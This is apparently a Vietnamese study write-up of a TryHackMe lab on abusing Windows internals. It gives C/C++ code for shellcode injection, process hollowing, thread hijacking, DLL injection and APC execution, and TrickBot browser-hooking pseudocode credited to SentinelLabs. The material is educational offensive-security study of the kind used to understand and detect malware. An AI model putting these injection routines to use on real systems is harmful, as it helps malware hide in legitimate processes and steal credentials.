TryHackMe| Abusing Windows Internals

Thuật ngữ Windows internals có thể đóng gói bất kỳ thành phần nào được tìm thấy ở back-end của hệ điều hành Windows. Nó có thể bao gồm process, file format, COM (Component Object Model), task cheduling, I/O System, DLL(Dynamic Link Library), PE (Portable Executable) format,...

Process

Các ứng dụng chạy trên hệ điều hành có thể chứa một hoặc nhiều process. Các process sẽ duy trì và trình diễn một chương trình đang được thực thi.

Process injection: Đưa mã độc vào một process thông qua chức năng hoặc thành phần hợp lệ. Dưới đấy là 4 loại phổ biến

Ở cấp độ độ cơ bản nhất, process injection diến ra dưới dạng shellcode injection

Ở cấp độ cáo hơn, shellcode injection có thể được chia thành 4 bước:

  1. Mở một target process với tất cả quyền truy cập

  2. Allocate target process memory cho shellcode

  3. Viết shellcode vào allocated process trong target process

  4. Thực thi shellcode bằng remote thread.

Cách Windows API calls tương tác với process memory

Phân tích một chương trình injector shellcode cơ bản:

  • Mở target process bằng các tham số đặc biệt

processHandle = OpenProcess(
	PROCESS_ALL_ACCESS, // Defines access rights
	FALSE, // Target handle will not be inhereted
	DWORD(atoi(argv[1])) // Local process supplied by command-line arguments 
);
  • Allocate memory cho cho đủ kích thước byte của shellcode

remoteBuffer = VirtualAllocEx(
	processHandle, // Opened target process
	NULL, 
	sizeof shellcode, // Region size of memory allocation
	(MEM_RESERVE | MEM_COMMIT), // Reserves and commits pages
	PAGE_EXECUTE_READWRITE // Enables execution and read/write access to the commited pages
);
  • Sử dụng allocated memory region để viết shellcode độc hại vào.

WriteProcessMemory(
	processHandle, // Opened target process
	remoteBuffer, // Allocated memory region
	shellcode, // Data to write
	sizeof shellcode, // byte size of data
	NULL
);
  • Thực thi shellcode nằm trong memory sử dụng CreateRemoteThread;

remoteThread = CreateRemoteThread(
	processHandle, // Opened target process
	NULL, 
	0, // Default size of the stack
	(LPTHREAD_START_ROUTINE)remoteBuffer, // Pointer to the starting address of the thread
	NULL, 
	0, // Ran immediately after creation
	NULL
);

Process Hollowing

Có thể chia làm 6 bước:

  1. Tạo một target process ở suspended state

  2. Mở một malicious image

  3. Un-map code hợp lệ từ process memory

  4. Allocate memory locations cho mã độc và ghi từng section vào address space

  5. Đặt entry point cho mã độc

  6. Cho target process chạy

Phân tích một process hollowing injector cơ bản:

  • Tạo một target process ở suspended state sử dụng CreateProcessA

LPSTARTUPINFOA target_si = new STARTUPINFOA(); // Defines station, desktop, handles, and appearance of a process
LPPROCESS_INFORMATION target_pi = new PROCESS_INFORMATION(); // Information about the process and primary thread
CONTEXT c; // Context structure pointer

if (CreateProcessA(
	(LPSTR)"C:\\\\Windows\\\\System32\\\\svchost.exe", // Name of module to execute
	NULL,
	NULL,
	NULL,
	TRUE, // Handles are inherited from the calling process
	CREATE_SUSPENDED, // New process is suspended
	NULL,
	NULL,
	target_si, // pointer to startup info
	target_pi) == 0) { // pointer to process information
	cout << "[!] Failed to create Target process. Last Error: " << GetLastError();
	return 1;
  • Mở một malicious image để inject. Quá trình này chia thành 3 bước, bắt đầu bằng việc sử dụng CreateFileA để lấy handle cho malicious image

HANDLE hMaliciousCode = CreateFileA(
	(LPCSTR)"C:\\\\Users\\\\tryhackme\\\\malware.exe", // Name of image to obtain
	GENERIC_READ, // Read-only access
	FILE_SHARE_READ, // Read-only share mode
	NULL,
	OPEN_EXISTING, // Instructed to open a file or device if it exists
	NULL,
	NULL
);

Allocate memory cho local process sử dụng VirtualAlloc. GetFileSize cũng được sử dụng đẻ lấy kích thước của malicious image cho dwSize.

DWORD maliciousFileSize = GetFileSize(
	hMaliciousCode, // Handle of malicious image
	0 // Returns no error
);

PVOID pMaliciousImage = VirtualAlloc(
	NULL,
	maliciousFileSize, // File size of malicious image
	0x3000, // Reserves and commits pages (MEM_RESERVE | MEM_COMMIT)
	0x04 // Enables read/write access (PAGE_READWRITE)
);

Sử dụng ReadFile để ghi mã độc vào local process memory

DWORD numberOfBytesRead; // Stores number of bytes read

if (!ReadFile(
	hMaliciousCode, // Handle of malicious image
	pMaliciousImage, // Allocated region of memory
	maliciousFileSize, // File size of malicious image
	&numberOfBytesRead, // Number of bytes read
	NULL
	)) {
	cout << "[!] Unable to read Malicious file into memory. Error: " <<GetLastError()<< endl;
	TerminateProcess(target_pi->hProcess, 0);
	return 1;
}

CloseHandle(hMaliciousCode);
  • Process cần phải "hollowed" bằng cách un-mapping memory. Để làm được điều này, cần phải xác định vị trí của process trong memory (có thể tìm thấy trongEAX register) và entry point (có thể tìm thấy trongEBX register). Tìm 2 register này sử dụng GetThreadContext, sau đó ReadProcessMemory được sử dụng để lấy base address từ EBX với offset (0x8), thu được từ việc kiểm tra PEB.

c.ContextFlags = CONTEXT_INTEGER; // Only stores CPU registers in the pointer
GetThreadContext(
	target_pi->hThread, // Handle to the thread obtained from the PROCESS_INFORMATION structure
	&c // Pointer to store retrieved context
); // Obtains the current thread context

PVOID pTargetImageBaseAddress; 
ReadProcessMemory(
	target_pi->hProcess, // Handle for the process obtained from the PROCESS_INFORMATION structure
	(PVOID)(c.Ebx + 8), // Pointer to the base address
	&pTargetImageBaseAddress, // Store target base address 
	sizeof(PVOID), // Bytes to read 
	0 // Number of bytes out
);
  • Sử dụng ZwUnmapViewOfSection được import từ ntdll.dll để giải phóng memory khỏi target process.

HMODULE hNtdllBase = GetModuleHandleA("ntdll.dll"); // Obtains the handle for ntdll
pfnZwUnmapViewOfSection pZwUnmapViewOfSection = (pfnZwUnmapViewOfSection)GetProcAddress(
	hNtdllBase, // Handle of ntdll
	"ZwUnmapViewOfSection" // API call to obtain
); // Obtains ZwUnmapViewOfSection from ntdll

DWORD dwResult = pZwUnmapViewOfSection(
	target_pi->hProcess, // Handle of the process obtained from the PROCESS_INFORMATION structure
	pTargetImageBaseAddress // Base address of the process
);
  • Bắt đầu allocate memory vào trong process đã làm rỗng.

PIMAGE_DOS_HEADER pDOSHeader = (PIMAGE_DOS_HEADER)pMaliciousImage; // Obtains the DOS header from the malicious image
PIMAGE_NT_HEADERS pNTHeaders = (PIMAGE_NT_HEADERS)((LPBYTE)pMaliciousImage + pDOSHeader->e_lfanew); // Obtains the NT header from e_lfanew

DWORD sizeOfMaliciousImage = pNTHeaders->OptionalHeader.SizeOfImage; // Obtains the size of the optional header from the NT header structure

PVOID pHollowAddress = VirtualAllocEx(
	target_pi->hProcess, // Handle of the process obtained from the PROCESS_INFORMATION structure
	pTargetImageBaseAddress, // Base address of the process
	sizeOfMaliciousImage, // Byte size obtained from optional header
	0x3000, // Reserves and commits pages (MEM_RESERVE | MEM_COMMIT)
	0x40 // Enabled execute and read/write access (PAGE_EXECUTE_READWRITE)
);

Khi đã allocate memory, có thể ghi file mã độc vào memory. Trước tiên phải ghi PE header.

if (!WriteProcessMemory(
	target_pi->hProcess, // Handle of the process obtained from the PROCESS_INFORMATION structure
	pTargetImageBaseAddress, // Base address of the process
	pMaliciousImage, // Local memory where the malicious file resides
	pNTHeaders->OptionalHeader.SizeOfHeaders, // Byte size of PE headers 
	NULL
)) {
	cout<< "[!] Writting Headers failed. Error: " << GetLastError() << endl;
}

Sau đó là các PE section.

for (int i = 0; i < pNTHeaders->FileHeader.NumberOfSections; i++) { // Loop based on number of sections in PE data
	PIMAGE_SECTION_HEADER pSectionHeader = (PIMAGE_SECTION_HEADER)((LPBYTE)pMaliciousImage + pDOSHeader->e_lfanew + sizeof(IMAGE_NT_HEADERS) + (i * sizeof(IMAGE_SECTION_HEADER))); // Determines the current PE section header

	WriteProcessMemory(
		target_pi->hProcess, // Handle of the process obtained from the PROCESS_INFORMATION structure
		(PVOID)((LPBYTE)pHollowAddress + pSectionHeader->VirtualAddress), // Base address of current section 
		(PVOID)((LPBYTE)pMaliciousImage + pSectionHeader->PointerToRawData), // Pointer for content of current section
		pSectionHeader->SizeOfRawData, // Byte size of current section
		NULL
	);
}

Cũng có thể sử dụng relocation table để ghi file vào target memory

  • Sử dụng SetThreadContext để chuyển EAX để trỏ vào entry point.

c.Eax = (SIZE_T)((LPBYTE)pHollowAddress + pNTHeaders->OptionalHeader.AddressOfEntryPoint); // Set the context structure pointer to the entry point from the PE optional header

SetThreadContext(
	target_pi->hThread, // Handle to the thread obtained from the PROCESS_INFORMATION structure
	&c // Pointer to the stored context structure
);
  • Đưa process ra khỏi suspended state sử dụng ResumeThread

ResumeThread(
	target_pi->hThread // Handle to the thread obtained from the PROCESS_INFORMATION structure
);

Thead hijacking

Ở cấp độ cao, thread (execution) hijacking có thể được chia thành các bước:

  1. Xác định vị trị và mở target process để kiểm soát

  2. Allocate memory region cho mã độc

  3. Viết mã độc vào allocated memory

  4. Xác định thread ID của target thread để hijack

  5. Mở target thread

  6. Suspend target thread

  7. Lấy thread context

  8. Cập nhật con trỏ lệnh tới mã độc

  9. Viết lại target process context

  10. Tiếp tục hijacked thread

Phân tích một thread hijacking script cơ bản:

  • Bước 1, 2 ,3

HANDLE hProcess = OpenProcess(
	PROCESS_ALL_ACCESS, // Requests all possible access rights
	FALSE, // Child processes do not inheret parent process handle
	processId // Stored process ID
);
PVOIF remoteBuffer = VirtualAllocEx(
	hProcess, // Opened target process
	NULL, 
	sizeof shellcode, // Region size of memory allocation
	(MEM_RESERVE | MEM_COMMIT), // Reserves and commits pages
	PAGE_EXECUTE_READWRITE // Enables execution and read/write access to the commited pages
);
WriteProcessMemory(
	processHandle, // Opened target process
	remoteBuffer, // Allocated memory region
	shellcode, // Data to write
	sizeof shellcode, // byte size of data
	NULL
);
  • Xác định thread ID sử dụng bộ 3 API calls của Windows: CreateToolhelp32Snapshot(), Thread32First(), và Thread32Next().

THREADENTRY32 threadEntry;

HANDLE hSnapshot = CreateToolhelp32Snapshot( // Snapshot the specificed process
	TH32CS_SNAPTHREAD, // Include all processes residing on the system
	0 // Indicates the current process
);
Thread32First( // Obtains the first thread in the snapshot
	hSnapshot, // Handle of the snapshot
	&threadEntry // Pointer to the THREADENTRY32 structure
);

while (Thread32Next( // Obtains the next thread in the snapshot
	snapshot, // Handle of the snapshot
	&threadEntry // Pointer to the THREADENTRY32 structure
)) {
  • Mở target thread sủ dụng OpenThread với THREADENTRY32 structure pointer.

if (threadEntry.th32OwnerProcessID == processID) // Verifies both parent process ID's match
		{
			HANDLE hThread = OpenThread(
				THREAD_ALL_ACCESS, // Requests all possible access rights
				FALSE, // Child threads do not inheret parent thread handle
				threadEntry.th32ThreadID // Reads the thread ID from the THREADENTRY32 structure pointer
			);
			break;
		}
  • Suspend target process vừa mở.

SuspendThread(hThread);
  • Lấy thread context sử dụng GetThreadContext để lưu trữ một pointer.

CONTEXT context;
GetThreadContext(
	hThread, // Handle for the thread 
	&context // Pointer to store the context structure
);
  • Ghi đè để trỏ đến malicious region của memory. Để overwrite register này có thể update thread context cho RIP

context.Rip = (DWORD_PTR)remoteBuffer; // Points RIP to our malicious buffer allocation
  • Update vào thread context hiện tại. Sử dụng SetThreadContext và pointer cho context.

SetThreadContext(
	hThread, // Handle for the thread 
	&context // Pointer to the context structure
);
  • Đưa target thread ra khỏi supended state

ResumeThread(
	hThread // Handle for the thread
);

DLL

Ở cấp độ cao, DLL injection có thể chia thành 5 bước:

  1. Xác địn target process để inject

  2. Mở target process

  3. Allocate memory region cho DLL độc hại

  4. Ghi DLL độc hại vào allocated memory

  5. Chạy và thực thi DLL độc hại

Phân tích một DLL injector cơ bản:

  • Xác định target thread

DWORD getProcessId(const char *processName) {
    HANDLE hSnapshot = CreateToolhelp32Snapshot( // Snapshot the specificed process
			TH32CS_SNAPPROCESS, // Include all processes residing on the system
			0 // Indicates the current process
		);
    if (hSnapshot) {
        PROCESSENTRY32 entry; // Adds a pointer to the PROCESSENTRY32 structure
        entry.dwSize = sizeof(PROCESSENTRY32); // Obtains the byte size of the structure
        if (Process32First( // Obtains the first process in the snapshot
					hSnapshot, // Handle of the snapshot
					&entry // Pointer to the PROCESSENTRY32 structure
				)) {
            do {
                if (!strcmp( // Compares two strings to determine if the process name matches
									entry.szExeFile, // Executable file name of the current process from PROCESSENTRY32
									processName // Supplied process name
								)) { 
                    return entry.th32ProcessID; // Process ID of matched process
                }
            } while (Process32Next( // Obtains the next process in the snapshot
							hSnapshot, // Handle of the snapshot
							&entry
						)); // Pointer to the PROCESSENTRY32 structure
        }
    }
DWORD processId = getProcessId(processName); // Stores the enumerated process ID
  • Mở process

HANDLE hProcess = OpenProcess(
	PROCESS_ALL_ACCESS, // Requests all possible access rights
	FALSE, // Child processes do not inheret parent process handle
	processId // Stored process ID
);
  • Allocate memory cho DLL độc hại

LPVOID dllAllocatedMemory = VirtualAllocEx(
	hProcess, // Handle for the target process
	NULL, 
	strlen(dllLibFullPath), // Size of the DLL path
	MEM_RESERVE | MEM_COMMIT, // Reserves and commits pages
	PAGE_EXECUTE_READWRITE // Enables execution and read/write access to the commited pages
);
  • Ghi DLL độc hại vào allocated memory

WriteProcessMemory(
	hProcess, // Handle for the target process
	dllAllocatedMemory, // Allocated memory region
	dllLibFullPath, // Path to the malicious DLL
	strlen(dllLibFullPath) + 1, // Byte size of the malicious DLL
	NULL
);
  • Load DLL sử dụng LoadLibrary; được import từ kernel32. Sau khi load, CreateRemoteThreadcó thể được sử dụng để thực thi memory bằng cách sử dụng LoadLibrarynhư hàm bắt đầu.

LPVOID loadLibrary = (LPVOID) GetProcAddress(
	GetModuleHandle("kernel32.dll"), // Handle of the module containing the call
	"LoadLibraryA" // API call to import
);
HANDLE remoteThreadHandler = CreateRemoteThread(
	hProcess, // Handle for the target process
	NULL, 
	0, // Default size from the execuatable of the stack
	(LPTHREAD_START_ROUTINE) loadLibrary, pointer to the starting function
	dllAllocatedMemory, // pointer to the allocated memory region
	0, // Runs immediately after creation
	NULL
);

Memory Execution Alternatives

Tùy vào môi trường mà các thực thi shellcode sẽ khác nhay, đặc biệt khi gặp phải những thách thức như các trên một API mà không thể né tránh hay gỡ bỏ, hay EDR đang giám sát các threads. Ở các phần trước, ta chủ yếu xem xét các phương pháp cấp phát và ghi dữ liệu vào các process cục bộ hoặc từ xa (qua CreateThread và hàm tương tự là CreateRemoteThread). Thực thi cũng là một bước quan trọng trong bất kỳ kỹ thuật injection nào, mặc dù không quan trọng bằng khi cố gắng giảm thiểu các dấu vết bộ nhớ và IOCs (Indicators of Compromise). Khác với việc cấp phát và ghi dữ liệu, có nhiều lựa chọn khác nhau để thực hiện quá trình thực thi. Ta sẽ tìm hiểu ba phương pháp thực thi khác có thể được sử dụng tùy theo hoàn cảnh.

Invoking Function Pointers (Gọi con trỏ hàm)

Con trỏ hàm kiểu void là một phương pháp thực thi khối bộ nhớ độc đáo và khác lạ dựa hoàn toàn vào việc ép kiểu. Kỹ thuật này chỉ có thể thực thi với bộ nhớ được cấp phát cục bộ nhưng không phụ thuộc vào bất kỳ lệnh gọi API hoặc chức năng hệ thống nào khác.

Dòng mã một dòng dưới đây là dạng phổ biến nhất của con trỏ hàm void

Con trỏ hàm:

((void(*)())addressPointer)();

Phân tích các bước mà nó thực hiện.

  1. Tạo một con trỏ hàm (void(*)())

  2. Ép kiểu con trỏ bộ nhớ đã cấp phát hoặc mảng shellcode thành con trỏ hàm (<function pointer>)addressPointer

  3. Triệu hồi con trỏ hàm để thực thi shellcode ();

Kỹ thuật này có trường hợp sử dụng rất cụ thể nhưng có thể rất khó phát hiện và hữu ích khi cần.


Asynchronous Procedure Calls (APC - Lời gọi thủ tục không đồng bộ)

Một hàm APC được queued vào một luồng thông qua QueueUserAPC. Sau khi queued, hàm APC sẽ tạo ra một ngắt phần mềm (software interrupt) và thực thi hàm vào lần tiếp theo khi luồng được lập lịch.

Để một ứng dụng người dùng có thể queue một hàm APC, luồng phải ở trạng thái “alertable state”. Trạng thái này yêu cầu luồng phải đang chờ đợi một như WaitForSingleObject hoặc Sleep.

Sử dụng VirtualAllocExWriteProcessMemory để cấp phát và ghi vào bộ nhớ.

QueueUserAPC(
    (PAPCFUNC)addressPointer, // Con trỏ hàm APC trỏ đến bộ nhớ đã cấp phát, được định nghĩa bởi winnt
    pinfo.hThread, // Handle đến luồng từ cấu trúc PROCESS_INFORMATION
    (ULONG_PTR)NULL
);
ResumeThread(
    pinfo.hThread // Handle đến luồng từ cấu trúc PROCESS_INFORMATION
);
WaitForSingleObject(
    pinfo.hThread, // Handle đến luồng từ cấu trúc PROCESS_INFORMATION
    INFINITE // Chờ vô hạn cho đến khi được cảnh báo
);

Kỹ thuật này là một sự thay thế tuyệt vời cho việc thực thi bằng luồng, nhưng gần đây đã được chú ý nhiều hơn trong kỹ thuật phát hiện, và các biện pháp cụ thể đang được triển khai để chống lại việc lạm dụng APC. Dù vậy, nó vẫn là một lựa chọn tốt tùy thuộc vào các biện pháp phát hiện mà bạn đang đối mặt.


Thao tác Section (Section Manipulation)

Một kỹ thuật phổ biến trong nghiên cứu mã độc là thao tác PE (Portable Executable) và section. Định dạng PE xác định cấu trúc và định dạng của tệp thực thi trong Windows. Đối với mục đích thực thi, chúng ta chủ yếu tập trung vào các section, cụ thể là .data.text, cũng như các bảng và con trỏ đến các section cũng thường được sử dụng để thực thi dữ liệu.

Để bắt đầu với bất kỳ kỹ thuật thao tác section nào, chúng ta cần lấy một dump PE. Việc lấy dump PE thường được thực hiện bằng một DLL hoặc tệp độc hại khác được đưa vào xxd.

Cốt lõi của mỗi phương pháp là sử dụng toán học để di chuyển qua dữ liệu hex vật lý, sau đó được dịch sang dữ liệu PE.

Một số kỹ thuật nổi tiếng bao gồm RVA entry point parsing, section mapping, và relocation table parsing.

Nghiên cứu về Browser Injection và Hooking

Phân tích TTPs (Tactics, Techniques, và Procedures) của TrickBot

Credit for initial research: SentinelLabs

TrickBot là một malware ngân hàng nổi tiếng, gần đây quay lại trong các cuộc tấn công tài chính với tính năng chính là browser hooking. Nó nhắm đến các trình duyệt bằng cách sử dụng OpenProcess để lấy handle của các trình duyệt phổ biến như Chrome, Firefox, và Edge. Sau khi truy cập được các tiến trình, TrickBot thực hiện reflective injection với các bước:

  1. Mở tiến trình mục tiêu bằng OpenProcess.

  2. Cấp phát bộ nhớ bằng VirtualAllocEx.

  3. Ghi hàm và shellcode vào bộ nhớ bằng WriteProcessMemory.

  4. Flush cache để commit changes bằng FlushInstructionCache.

  5. Tạo luồng từ xa bằng RemoteThread hoặc RtlCreateUserThread.

  6. Tiếp tục luông ResumeThread hoặc quay lại để tạo luồng người dùng mới RtlCreateUserThread

Sau khi injection thành công, TrickBot thực hiện cài đặt hook để can thiệp các API của trình duyệt. Mã giả cho quá trình này bao gồm:

  • Tính toán relative_offset để thực hiện nhảy tới mã độc.

elative_offset = myHook_function - *(_DWORD *)(original_function + 1) - 5;
v8 = (unsigned __int8)original_function[5];
trampoline_lpvoid = *(void **)(original_function + 1);
jmp_32_bit_relative_offset_opcode = 0xE9u;		// "0xE9" -> opcode for a jump with a 32bit relative offset
  • Sử dụng VirtualProtectEx để thay đổi quyền bảo vệ bộ nhớ.

if ( VirtualProtectEx((HANDLE)0xFFFFFFFF, trampoline_lpvoid, v8, 0x40u, &flOldProtect) )	// Set up the function for "PAGE_EXECUTE_READWRITE" w/ VirtualProtectEx
{
	v10 = *(_DWORD *)(original_function + 1);
	v11 = (unsigned __int8)original_function[5] - (_DWORD)original_function - 0x47;
	original_function[66] = 0xE9u;
	*(_DWORD *)(original_function + 0x43) = v10 + v11;
	write_hook_iter(v10, &jmp_32_bit_relative_offset_opcode, 5); // -> Manually write the hook
	VirtualProtectEx(		// Return to original protect state
		(HANDLE)0xFFFFFFFF,
		*(LPVOID *)(original_function + 1),
		(unsigned __int8)original_function[5],
		flOldProtect,
		&flOldProtect);
result = 1;

Ghi hook bằng opcode nhảy và khôi phục quyền bảo vệ gốc.

Mục tiêu chính của quá trình này là giúp TrickBot có thể can thiệp vào các hàm API của trình duyệt để đánh cắp thông tin nhạy cảm như thông tin đăng nhập.

References

Last updated